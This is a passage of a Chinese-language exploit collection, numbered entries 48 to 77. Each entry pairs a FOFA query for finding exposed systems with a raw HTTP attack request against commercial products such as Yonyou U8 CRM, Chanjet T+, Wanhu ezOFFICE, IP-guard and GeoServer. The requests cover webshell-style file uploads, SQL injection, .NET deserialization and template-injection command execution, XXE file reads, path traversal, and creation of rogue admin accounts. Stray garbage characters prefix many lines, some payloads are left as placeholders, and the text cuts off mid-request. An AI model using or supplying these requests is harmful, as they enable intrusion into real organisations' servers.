* \; ^) k, k5 wAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ E  n' \# Q# wIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close


$ Q$ @2 Y8 S0 G! J
2 X0 \% |+ F6 }48. 用友U8 CRM swfupload 任意文件上传
+ o; t) O! N/ F. t# K0 v$ i, }) O$ nFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
: M" j) b: D6 |; E' LHost: your-ip
/ G9 [2 @* O/ I( KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; f( r2 X( ]6 t  ?3 g1 KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 _4 k# B' a& q( FAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
1 s, Q; y( \# E) B7 ^------269520967239406871642430066855
' @. J  `3 N( o+ g$ G0 K% PContent-Disposition: form-data; name="file"; filename="s.php"
& l+ J* \$ ]; {6 }1231
( b) {* f2 U9 u8 z1 uContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
! O* Z( P9 A4 s9 H3 G

1 X0 @; u. M/ g; N$ Y, t49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 E+ W+ y; ^0 W; D. d1 x; }FOFA：body="用友U8CRM"
9 @  G9 q" g% A' _$ s7 v7 V0 l- W
2 z9 J) |0 {5 UPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
) h6 X0 k/ z; q5 Z2 wHost: x.x.x.x
7 [( f1 j; _0 x2 ]2 N8 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( E( A% _% c* q; P9 @$ F9 wContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* Y. F1 e* O2 f* ~5 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
$ U* E* p+ A4 y8 k0 AContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

1 a' ^, x' G+ U1 Y3 f7 B2 `- F-----------------------------vvv3wdayqv3yppdxvn3w
) g: U" h+ l4 P* R4 x* YContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

2 {- e7 n5 h" A5 V/ t: kwersqqmlumloqa
3 c3 S8 v% Q! i7 b: j- R3 O* G, X-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
  n; H( F( g& }4 M7 l: p
/ _3 U' N5 S( W' K+ |upload
-----------------------------vvv3wdayqv3yppdxvn3w--


4 ^8 O1 b2 c0 v8 o) E# j4 Thttp://x.x.x.x/tmpfile/updB3CB.tmp.php
0 v# {" d$ t" H; L
6 ]# C% ~9 b1 Q, g/ Q" R6 {50. QDocs Smart School 6.4.1 filterRecords SQL注入
+ v+ U: B& P0 A+ U% c' p3 {1 }FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
& [0 Q5 t$ O7 Y5 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 R' D1 G, `4 }6 w7 P7 HConnection: close
; u9 u" e0 b5 b9 }* YContent-Length: 224
& Q" {6 z" P8 {$ X5 E8 sAccept: */*
5 r( x9 j1 }% L5 z$ E0 C. ^  l! a. NAccept-Language: en
6 @* T- b  ~4 t4 F, p3 OContent-Type: application/x-www-form-urlencoded
% a! T/ \& U4 nAccept-Encoding: gzip
' p: M* t) v% d4 ^
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
% {' O% E2 F2 iGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
  S7 ~9 Q& U( h. _8 [2 M  P; J; @2 nHost: your-ip
! b8 z0 m6 h- LUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
( F, G2 h, j  T3 g6 q4 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& {8 l. H. p; z/ m3 L' \% }1 JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

$ O, @0 B$ G' d
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
& c' Q7 z6 e' p/ j! VHost: 192.168.86.128:8097
7 A4 t4 ~5 L  c! a1 ^* Z& F, BUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
9 U( D5 ~  n6 q. A) c8 y+ }1 |Content-Length: 87
/ E: @5 `' S( a) F4 u0 w  S& b; NAccept: */*
Accept-Language: en
( [7 g$ u5 j3 I1 c, C/ c4 ~Content-Type: application/x-www-form-urlencoded
5 M0 T5 g; F* n' Q/ H9 ?+ \$ LAccept-Encoding: gzip
  e; ~: `9 s$ ~! m
( X( p! ]! ]5 _5 }$ e2 ^tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


! `% R: T  A: C3 A. m7 j: I; S53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


2 Z/ ^3 F$ @" D' ?0 y  B54. 畅捷通T+ getstorewarehousebystore 远程代码执行
4 `: W5 `4 z4 B- X2 F8 ]& ~FOFA：app="畅捷通-TPlus"
2 k6 Q: c, [, J4 \第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

- e9 @4 [4 W, x
3 b- W  x1 v5 H. f完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
: y; J( j5 ?% `3 p: ]
{
- |5 R1 O0 _* D"storeID":{
+ S# l4 o: v1 g5 ?  d) m6 a% O: w "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
, ?6 I" e$ h* ^  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
/ k: ~4 ~8 L0 v4 v" i6 T* j    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
, C  M% \" Q! H8 C, [0 |' E    }
# C1 N& q4 C$ o+ p2 q5 y* ^+ s  }
  }
}
0 `; ?3 g) L1 a% J" o* ^! ~3 Z' |
$ m: P( z) N/ e5 C0 X
第二步，访问如下url
* M9 }6 f2 @! p0 h( l2 `! [/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
$ t7 B- \2 |3 F4 D

55. 畅捷通T+ getdecallusers信息泄露
) Z4 z/ x+ f) S! KFOFA：app="畅捷通-TPlus"
1 _9 _/ w1 A# ?5 I第一步，通过
8 `: G1 ~, @- d+ I& T  D. C/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
$ X, j6 Q% @3 e( O- V  a0 z) U
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
5 E5 v, ?) @/ BFOFA: app="畅捷通-TPlus"
6 L, B; ]- v# l4 s+ \2 E  ^POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
' |, U$ U9 E# |0 g+ p6 Z$ nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. Z; s" B8 I3 h( F# F, VContent-Type: application/json
, F# Q8 v& q. r6 B6 {
' d; ~  E8 M! Z8 `{
' B  p# A  s1 z  l1 o" r9 x  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
! Z" x4 k0 k& O+ K# |    "ObjectInstance":{
$ [: U5 z! V: {+ }       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
( }0 {, W9 t% s8 R$ {- k" J           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' l" q& E2 F& w5 {           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
9 }7 ?/ p5 B: B2 p. ?  }
}
# v4 l9 `( w; `  B/ G3 ~2 R. F; K

- l# q1 c5 w: s6 `2 A8 e57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
$ I. c' o5 E8 t4 ]' SHost: host
( X/ n+ Z+ G$ R7 J$ `& S8 KUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
- p  K3 M0 f/ N/ oConnection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
5 g8 _& b/ C, p# v; VUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

7 \0 X; t5 s9 b7 I
; R- V' w. c6 C& z% Z59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
( k% i; R: y% {, v- U: _: e$ bFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
& ?3 s  L5 [5 g4 S7 \) yHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 R# I* w; n+ N9 oConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
% h6 V* F1 T9 p: X: v8 [: XContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
- r1 B' [# g# N1 i+ \+ D
PAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
6 W9 s/ W/ U: u3 Y# RFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 f# n5 O4 p0 y8 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 {! m' G" Z" w: ^( ^1 @! A3 OConnection: close

& A. \4 a5 p" L/ f$ X
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
0 x4 g& \3 B. d2 o& `9 |1 D$ dFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
- f. V9 ]4 K5 w4 D/ I9 g0 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* S4 |2 n/ j0 fConnection: close
' ~( Q, K9 x+ ~1 H) bContent-Length: 27
4 P; h5 |2 y1 W; ]- v4 i# Q2 JAccept: */*
Accept-Encoding: gzip, deflate
- I; y) q0 S( y( y8 c& mAccept-Language: en
6 ]# p( c% s7 D! v2 i5 GContent-Type: application/x-www-form-urlencoded
( \  V$ X" J" S8 Q, V6 U5 t# M
" f( `, Z- P2 l8 R7 |3 q5 `( d8uxssX66eqrqtKObcVa0kid98xa
( k8 K4 O+ b/ P- P. s, v4 J9 K: g
! `+ e& A* ?- g- c
62. IP-guard WebServer 远程命令执行
. V9 f+ p/ r3 T/ KFOFA："IP-guard" && icon_hash="2030860561"
: g$ `5 Z* B: {! Z$ L2 \GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
( B/ P! J% B- t! k9 qHost: x.x.x.x
& w8 Z& v; T; Q0 |# N" M9 U% ]4 J  KUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
8 J9 t/ M9 G& Z, L  YConnection: close
Accept: */*
8 t" K  ~$ i1 Y1 MAccept-Language: en
Accept-Encoding: gzip


访问

$ s9 j7 e4 S) M8 a. G) _GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
# Y$ T! t8 W0 {1 F, ^4 J0 p. y; u1 `1 }Host: x.x.x.x

4 R- I0 X) i# m$ T2 z
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
% J, u0 k4 T" \% X! X! I6 r" F# BFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
* c9 \* \2 e; MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* M8 D# i$ Z# uContent-Type: application/x-www-form-urlencoded
. y  \' C* o0 ?- E' j1 N3 d
" k, L& M( V3 F( ^& Xpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
) {% t8 U3 B" a0 c: o
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
9 x3 Y3 T% `# a' D( P) H, zFOFA：body="/Scripts/EnjoyMsg.js"
- Z; v9 G- w' q( U! OPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
' W" ]/ c2 ~2 m, D1 s- gAccept-Language: en
Content-Type: text/xml; charset=utf-8
  P/ U1 \" @0 r" Y+ S0 QAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! Y; r5 a- f1 e" Y3 f<soap:Body>
, t0 `" e8 J" p3 ?/ W  ~    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
1 ~' ]( z+ o) T' S$ i- x    </GetOSpById>
: t0 F5 i: O1 y, N  b# _0 J$ X# a  </soap:Body>
</soap:Envelope>


* d, y2 J1 \9 S4 V* V! i* w# }65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
/ ?+ P8 Z8 ?# Z: q2 mFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
& c! H+ k( n( V* ~5 F响应200即成功创建账号test123456/123456
. X5 T, M# m  r# Y  \POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
% I- e0 o, y6 ~2 ~% G4 n. C" a5 IAccept-Encoding: gzip, deflate
. L, p, |) i* h1 \: dAccept: */*
! p9 ~/ ~' y  p: ?Connection: close
- a4 X2 I+ ^) }; G' PAccept-Language: en
Content-Length: 174

4 |( O* B; |! P" t) _+ OoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


9 M  z3 d4 _/ {2 w$ }+ h  i% |7 C66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
6 F/ q7 B  ~% f1 l$ [FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
" W8 @% o, i+ C. Z9 g% w0 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
3 Z( @" `% O6 P; dConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
" B5 x1 P1 k+ a  ^4 a/ _

- Q9 r9 k2 i1 C+ N( N! ]  c% Z第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

: {2 Q1 }/ d" S; W& W; C67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
0 i4 |# b0 [* R  f9 K% u* YnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
1 m, }) E. B& ?, c$ `* i% [7 }Host: x.x.x.x
3 g; h0 @) u! E! VUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
' `  ?2 M8 K% n2 [# h) MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
& d- u$ `3 |, B$ y
" e# L& T* C. R7 e- @  ^. ^+ Z--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
. m" @" _5 ?; l8 I9 K3 `
<% out.print("sasdfghjkj");%>
: p) y- H4 q/ s5 r--ufuadpxathqvxfqnuyuqaozvseiueerp--
: V9 }0 \; P0 k4 y! u! i2 U% v7 T
" ?$ b9 j/ b& ?
- u5 }- x) H4 E文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
2 P  L3 H# o  }; |" D& j  w) N4 M
: ?, x+ K% X1 F: j, ]6 ^68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
9 L3 U  l+ |( B% p1 i. G6 EGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
& D+ c, t, E, B$ D; vHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
" T  {+ c: \/ N1 U' S  |- `. @Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
( i: o( a/ e4 W, F, ?; B6 T4 t: NAccept-Language: zh-CN,zh;q=0.9
Connection: close

! z# |& A$ ~" C
3 b/ [6 B* f2 J  C7 x* @69. 万户 ezOFFICE contract_gd.jsp SQL注入
- ]" H, s/ e$ U3 {FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
& n: V1 h; x  I: Q1 kHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 n& O" o: B, X% k' pAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


9 r' h6 T" z0 u3 ^7 E1 ~; O70. 万户ezEIP success 命令执行
( V) `: M, P# w7 v+ K" T3 [0 EFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
  n) J6 d% n8 ~Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
: {4 a: f) ?' @/ eContent-Type: application/x-www-form-urlencoded
' c" u0 C2 S& p% X+ S8 ~: nTYPE: C
, l- v5 P" e5 g, @Content-Length: 16702

__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
. x( B, {/ C. gFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
% @& M* K# l  n/ X3 nHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
+ Q$ S  J0 B; P' B! {& w. bConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 u) M2 w9 e. M* YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
; m( A+ r* e6 D) `2 h, G  c5 zConnection: close
. A. f3 \+ O& `Content-Length: 583
" ]9 R# v6 P% {7 {; G8 bContent-Type: application/x-www-form-urlencoded
4 o4 R6 I8 [# O: L& u" JAccept-Encoding: gzip
, T+ f; V, t( q8 J8 K, o. }
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


( Y. }; ^3 K" h0 z- ~* v73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
6 l: \* D: N; h3 F# d1 OPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
/ k" O2 `7 C$ y/ MContent-Length: 1981
. ~2 `4 E1 S& m/ YAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
9 Z# @0 @% d) C, X: Y" h; Q7 u: I# T4 U! TSL-CE-SUID: 3
6 i3 l8 f' k/ {) Z9 O2 u
PAYLOAD

& ]) D3 J- w, E
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
9 w' s7 v$ d9 s8 B, G! Q* SPAYLOAD

' h, z; V, o7 `& g% `75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
3 o1 F/ H, K# K: ^GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
( D0 F! m+ P2 }' |2 Z- o6 E) A4 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

" F! g2 R2 g$ X& A" R" i5 b/ s% U
GET /cgi-bin/test28256.txt HTTP/1.1
1 |9 z' T1 `+ iHost: x.x.x.x
/ x  g' k8 t/ d6 m# {+ H

76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
! S' z! y5 q6 ?- TPOST /service_transport/service.action HTTP/1.1
; n2 i4 |, a3 JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
2 Y5 k' Y  [  H/ x5 }& l6 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
) H6 @* S9 |0 w9 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% ^! p- S- O+ p1 S3 z4 a( P( zCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
; t2 u8 v! ?4 m; m( ]5 E# H! ]Upgrade-Insecure-Requests: 1
5 V' s% o6 e. U$ f
{
"command": "GetFZinfo",
2 G% t' q0 A3 I) E  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

0 L' x8 i  b) I  N! O
- W, g. D, G/ R$ d/ o/ nGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
) E: p  w6 H, j- v
5 \# z: {+ w2 e3 g$ o" S- |" b1 |

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
+ v6 r. C0 X! V" N; z9 zPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
9 b! H, w9 a' l# V  x! lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
/ V& n+ z! D" D7 ^" T8 L, m% `( vAccept-Encoding: gzip, deflate
( X9 p" J" ]/ f# t$ tAccept-Language: zh-CN,zh;q=0.9
